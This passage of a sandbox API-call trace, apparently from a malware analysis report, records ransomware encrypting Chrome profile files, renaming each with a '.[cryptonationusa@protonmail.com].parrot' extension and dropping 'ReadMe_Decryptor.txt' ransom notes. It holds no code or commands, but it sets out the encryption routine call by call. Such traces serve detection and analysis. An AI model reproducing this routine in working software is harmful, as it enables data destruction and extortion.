(hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.751] CloseHandle (hObject=0x278) returned 1 [0075.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cb2e0 [0075.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x69a930 [0075.752] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.755] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.755] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.755] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.756] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xb4, lpOverlapped=0x0) returned 1 [0075.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.756] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.756] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.759] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.759] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.760] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.760] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8b43, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x8b43, lpOverlapped=0x0) returned 1 [0075.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.762] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.762] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.767] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.767] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.823] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.824] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x3000, lpOverlapped=0x0) returned 1 [0075.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.835] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.836] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.841] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.841] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.841] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.843] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.843] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0075.843] lstrcmpW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2=".") returned 1 [0075.843] lstrcmpW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="..") returned 1 [0075.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0075.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0075.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x3176070 [0075.843] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.844] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.844] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.845] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.845] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.845] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8448d2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0075.845] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0075.845] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0075.846] GetFileSize (in: hFile=0x27c, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0x10 [0075.846] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0075.846] CloseHandle (hObject=0x27c) returned 1 [0075.847] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0075.847] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x93935fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0075.847] lstrcmpW (lpString1="LOG", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0075.847] GetFileSize (in: hFile=0x27c, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0xc3 [0075.847] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1db, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.847] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.847] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0075.848] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.848] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xc3, lpOverlapped=0x0) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.849] GetLastError () returned 0x0 [0075.849] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x5d00d0 [0075.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.850] WriteFile (in: hFile=0x27c, lpBuffer=0x5d00d0*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x5d00d0*, lpNumberOfBytesWritten=0x18e314*=0x1e8, lpOverlapped=0x0) returned 1 [0075.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d00d0 | out: hHeap=0x5b0000) returned 1 [0075.850] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1db, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.850] CloseHandle (hObject=0x27c) returned 1 [0075.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0075.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x5d00d0 [0075.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0075.851] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d00d0 | out: hHeap=0x5b0000) returned 1 [0075.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8310 | out: hHeap=0x5b0000) returned 1 [0075.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31759f0 | out: hHeap=0x5b0000) returned 1 [0075.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0075.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x31761b8 [0075.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0075.852] GetFileType (hFile=0x27c) returned 0x1 [0075.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a9fe8 [0075.863] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.863] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0075.864] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.864] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29, lpOverlapped=0x0) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.864] GetLastError () returned 0x0 [0075.864] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0075.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x5cce70 [0075.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 